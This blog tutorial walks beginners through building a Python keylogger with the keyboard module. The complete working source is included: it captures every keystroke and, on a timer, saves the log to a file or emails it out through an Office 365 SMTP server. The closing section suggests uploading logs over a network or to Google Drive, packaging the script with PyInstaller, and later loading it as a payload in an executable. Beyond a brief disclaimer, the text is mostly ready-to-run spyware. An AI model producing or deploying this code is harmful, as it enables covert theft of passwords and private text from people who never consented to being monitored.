Build a Python Keylogger
Tags: python, softwaredevelopment, programming, beginners
Published: 2024-02-28 10:32:40


Ready to delve into the world of Python programming? In this tutorial, we will explore the creation of a keylogger – a surveillance tool designed to monitor and record every keystroke on a computer's keyboard. 

It's essential to note that while keyloggers have legitimate uses like monitoring employee productivity or parental control, they can be misused by hackers to capture sensitive information. 

Our goal is to equip you with the knowledge to create and analyze keyloggers for educational purposes and to raise awareness about their capabilities and associated risks.

## **Prerequisites**

Before we begin, you'll need to install the `**keyboard**` module. Open your terminal or command prompt and enter:

Before installing any library, set your project in a venv (virtual environment); this would limit dependency issues. 

First, create a folder.

    mkdir keylogger

Next, we would cd into the keylogger directory and create a virtual environment `python -m venv myenv`.

Activate the Virtual environment `source myenv/bin/activate,` and then we can install dependencies.


    $ pip install keyboard

This module allows us to take control of the keyboard, hook global events, register hotkeys, simulate key presses, and more.

## **Setting Up the Keylogger**

Let's initialize the required parameters:

```python
    import keyboard
    import smtplib
    from threading import Timer
    from datetime import datetime
    from email.mime.multipart import MIMEMultipart
    from email.mime.text import MIMEText
    
    SEND_REPORT_EVERY = 60  # in seconds, reporting interval
    EMAIL_ADDRESS = "blackbird001@duck.com"
    EMAIL_PASSWORD = "your_email_password"
```
Replace `**your_email@example.com**` and `**your_email_password**` with your actual email credentials.

Now, we'll create a class to represent the keylogger:

```python
    class Keylogger:
        def __init__(self, interval, report_method="email"):
            self.interval = interval
            self.report_method = report_method
            self.log = ""
            self.start_dt = datetime.now()
            self.end_dt = datetime.now()
```
The `**interval**` parameter represents the reporting frequency, and `**report_method**` specifies whether to send logs via email or save them to a local file.

## **Listening to Keystrokes**

We'll utilize the `**keyboard**` module's `**on_release()**` function to capture keystrokes:


   ```python
    def callback(self, event):
        name = event.name
        if len(name) > 1:
            if name == "space":
                name = " "
            elif name == "enter":
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
    
        self.log += name
```
This callback function is invoked whenever a key is released. It transforms special keys and adds them to the global `**self.log**` variable.

## **Reporting Keystrokes**

Depending on the chosen `**report_method**`, we can report the keystrokes either via email or save them to a local file:


   ```python
    def report_to_file(self):
        with open(f"{self.filename}.txt", "w") as f:
            print(self.log, file=f)
        print(f"[+] Saved {self.filename}.txt")
    
    def sendmail(self, email, password, message, verbose=1):
        # SMTP server connection and email sending logic
        # ...
```
The `**report_to_file()**` method saves the key logs to a local file, while `**sendmail()**` sends the logs via email.

## **Scheduling Reports**

To ensure periodic reporting, we'll use a timer:

```python
    def report(self):
        if self.log:
            self.end_dt = datetime.now()
            self.update_filename()
            if self.report_method == "email":
                self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
            elif self.report_method == "file":
                self.report_to_file()
            print(f"[{self.filename}] - {self.log}")
            self.start_dt = datetime.now()
        self.log = ""
        timer = Timer(interval=self.interval, function=self.report)
        timer.daemon = True
        timer.start()
```
This method is called at regular intervals (`**self.interval**`) to report the accumulated keystrokes.

## **Starting the Keylogger**

Finally, we initiate the keylogger with the following code:
```python

    def start(self):
        self.start_dt = datetime.now()
        keyboard.on_release(callback=self.callback)
        self.report()
        print(f"{datetime.now()} - Started keylogger")
        keyboard.wait()
```
This `**start()**` method records the start time, sets up the keylogger, and waits for the user to press CTRL+C to exit the program.

## **Putting It All Together**

Now, let's instantiate the `**Keylogger**` class and start the keylogger:
```python

    if __name__ == "__main__":
        keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
        keylogger.start()
```
Uncomment the line with `**report_method="email"**` if you prefer to receive reports via email.

To get it started, run `sudo python nameoffile.py. If` you run this without side you will get an error. 

![](https://paper-attachments.dropboxusercontent.com/s_50F6C82CDCC515AFFE512B1541C0B6E014D0A4AE5DAA6A60555CC104E68EB656_1709114706909_Screenshot+2024-02-28+at+11.04.49.png)


Once approved, I can control and see what the user is doing. Cool, right?

![](https://paper-attachments.dropboxusercontent.com/s_50F6C82CDCC515AFFE512B1541C0B6E014D0A4AE5DAA6A60555CC104E68EB656_1709115417165_Screenshot+2024-02-28+at+11.12.19.png)


Once I start typing, my keylogger saves my keystrokes in a file.


![](https://paper-attachments.dropboxusercontent.com/s_50F6C82CDCC515AFFE512B1541C0B6E014D0A4AE5DAA6A60555CC104E68EB656_1709115407602_Screenshot+2024-02-28+at+11.13.55.png)


Find the entire code here. 

```python
    import keyboard
    import smtplib
    from threading import Timer
    from datetime import datetime
    from email.mime.multipart import MIMEMultipart
    from email.mime.text import MIMEText
    
    # Installation of required module
    # $ pip install keyboard
    
    # Parameters
    SEND_REPORT_EVERY = 60  # in seconds, reporting interval
    EMAIL_ADDRESS = "email@provider.tld"
    EMAIL_PASSWORD = "password_here"
    
    class Keylogger:
        def __init__(self, interval, report_method="email"):
            self.interval = interval
            self.report_method = report_method
            self.log = ""
            self.start_dt = datetime.now()
            self.end_dt = datetime.now()
    
        def callback(self, event):
            """
            This callback is invoked whenever a keyboard event is occurred
            (i.e., when a key is released in this example)
            """
            name = event.name
            if len(name) > 1:
                # not a character, special key (e.g ctrl, alt, etc.)
                # uppercase with []
                if name == "space":
                    # " " instead of "space"
                    name = " "
                elif name == "enter":
                    # add a new line whenever an ENTER is pressed
                    name = "[ENTER]\n"
                elif name == "decimal":
                    name = "."
                else:
                    # replace spaces with underscores
                    name = name.replace(" ", "_")
                    name = f"[{name.upper()}]"
            # finally, add the key name to our global `self.log` variable
            self.log += name
    
        def update_filename(self):
            # construct the filename to be identified by start & end datetimes
            start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
            end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
            self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
    
        def report_to_file(self):
            """This method creates a log file in the current directory that contains
            the current keylogs in the `self.log` variable"""
            # open the file in write mode (create it)
            with open(f"{self.filename}.txt", "w") as f:
                # write the keylogs to the file
                print(self.log, file=f)
            print(f"[+] Saved {self.filename}.txt")
    
        def prepare_mail(self, message):
            """Utility function to construct a MIMEMultipart from a text
            It creates an HTML version as well as a text version
            to be sent as an email"""
            msg = MIMEMultipart("alternative")
            msg["From"] = EMAIL_ADDRESS
            msg["To"] = EMAIL_ADDRESS
            msg["Subject"] = "Keylogger logs"
            # simple paragraph, feel free to edit
            html = f"<p>{message}</p>"
            text_part = MIMEText(message, "plain")
            html_part = MIMEText(html, "html")
            msg.attach(text_part)
            msg.attach(html_part)
            # after making the mail, convert back as a string message
            return msg.as_string()
    
        def sendmail(self, email, password, message, verbose=1):
            # manages a connection to an SMTP server
            # in our case, it's for Microsoft365, Outlook, Hotmail, and live.com
            server = smtplib.SMTP(host="smtp.office365.com", port=587)
            # connect to the SMTP server as TLS mode (for security)
            server.starttls()
            # login to the email account
            server.login(email, password)
            # send the actual message after preparation
            server.sendmail(email, email, self.prepare_mail(message))
            # terminates the session
            server.quit()
            if verbose:
                print(f"{datetime.now()} - Sent an email to {email} containing:  {message}")
    
        def report(self):
            """
            This function gets called every `self.interval`
            It basically sends keylogs and resets `self.log` variable
            """
            if self.log:
                # if there is something in log, report it
                self.end_dt = datetime.now()
                # update `self.filename`
                self.update_filename()
                if self.report_method == "email":
                    self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
                elif self.report_method == "file":
                    self.report_to_file()
                # if you don't want to print in the console, comment the below line
                print(f"[{self.filename}] - {self.log}")
                self.start_dt = datetime.now()
            self.log = ""
            timer = Timer(interval=self.interval, function=self.report)
            # set the thread as daemon (dies when the main thread dies)
            timer.daemon = True
            # start the timer
            timer.start()
    
        def start(self):
            # record the start datetime
            self.start_dt = datetime.now()
            # start the keylogger
            keyboard.on_release(callback=self.callback)
            # start reporting the keylogs
            self.report()
            # make a simple message
            print(f"{datetime.now()} - Started keylogger")
            # block the current thread, wait until CTRL+C is pressed
            keyboard.wait()
    
    if __name__ == "__main__":
        # if you want a keylogger to send to your email
        # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
          keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
          keylogger.start()
```
## **Conclusion**

Congratulations! You've just created a basic keylogger in Python. Remember that ethical considerations are crucial, and using keyloggers on systems without proper authorization is strictly prohibited.

Extend your knowledge by exploring additional functionalities, such as sending logs across a network or using APIs like Google Drive to upload logs. 

If you plan to share your keylogger, consider converting the script into an executable using tools like PyInstaller.

**Use this knowledge responsibly, as this is purely for educational purposes. In our next article, I will show you how to load it as a payloader in an executable program.** 

If you like my work and want to help me continue dropping content like this, buy me a [cup of coffee](https://www.buymeacoffee.com/scofields1s).

If you find this post exciting, find more exciting posts on [Learnhub Blog](https://blog.learnhub.africa/); we write everything tech from [Cloud computing](https://blog.learnhub.africa/category/cloud-computing/) to [Frontend Dev](https://blog.learnhub.africa/category/frontend/), [Cybersecurity](https://blog.learnhub.africa/category/security/), [AI](https://blog.learnhub.africa/category/data-science/), and [Blockchain](https://blog.learnhub.africa/category/blockchain/).

## **Resource**
- [Getting started with Folium](https://realpython.com/lessons/python-folium-get-started/)
- [20 Essential Python Extensions for Visual Studio Code](https://blog.learnhub.africa/2023/05/26/20-essential-python-extensions-for-visual-studio-code/)
- [Using Python for Web Scraping and Data Extraction](https://blog.learnhub.africa/2023/04/27/using-python-for-web-scraping-and-data-extraction/)
- [Getting Started with Python](https://www.python.org/about/gettingstarted/)
- [Creating Interactive Maps with Folium and Python](https://blog.learnhub.africa/2023/10/04/creating-interactive-maps-with-folium-and-python/)